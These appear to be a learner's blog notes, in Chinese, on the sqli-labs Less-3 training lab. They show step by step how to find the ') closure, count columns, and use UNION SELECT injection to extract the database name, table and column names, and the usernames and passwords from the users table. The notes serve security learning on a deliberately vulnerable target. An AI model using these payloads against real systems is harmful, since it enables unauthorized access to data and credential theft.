sqli-labs学习笔记3

less-3

打开靶场

输入id=1

判断注入类型

id=1'

报错了,存在sql注入,

id=1'--+

还是报错的,感觉是闭合符号不一样。

试试')

这里看了源代码

所以输入

id=1')--+

')来闭合前面的(',--+来注释掉后面的').

判断字段数

id = 1') order by 3 --+

回显正常,判断字段数4

id = 1') order by 4 --+

判断回显位

id= -1') union select 1,2,3 --+

得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1') union select 1,database(),version() --+

得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

得到对应的字段名。

爆破users表中字段的数据

id=-1') union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据。

相关推荐
历程里程碑2 分钟前
Linux 18 进程控制
linux·运维·服务器·开发语言·数据结构·c++·笔记
xdpcxq10295 分钟前
MySQL 5.6 2000 万行高频读写表新增字段
数据库·mysql
huohuopro7 分钟前
Redis安装和杂谈
数据库·redis·缓存
要开心吖ZSH17 分钟前
Spring AI Alibaba 个人学习笔记
人工智能·学习·spring·spring ai·springaialibaba
马猴烧酒.18 分钟前
【团队空间|第十一天】基础功能实现,RBAC权限控制,ShardingSphere详解
java·开发语言·数据库
●VON18 分钟前
React Native for OpenHarmony:深入剖析 Switch 组件的状态绑定、无障碍与样式定制
javascript·学习·react native·react.js·von
EnglishJun20 分钟前
数据结构的学习(三)---双向链表与循环链表
数据结构·学习·链表
简佐义的博客20 分钟前
跟着Nature学习如何联合多组学snRNA-seq + snATAC-seq + WGS+空间转录组分析重构肿瘤亚克隆演化树
学习·重构
im_AMBER21 分钟前
Leetcode 112 两数相加 II
笔记·学习·算法·leetcode
long31622 分钟前
KMP模式搜索算法
数据库·算法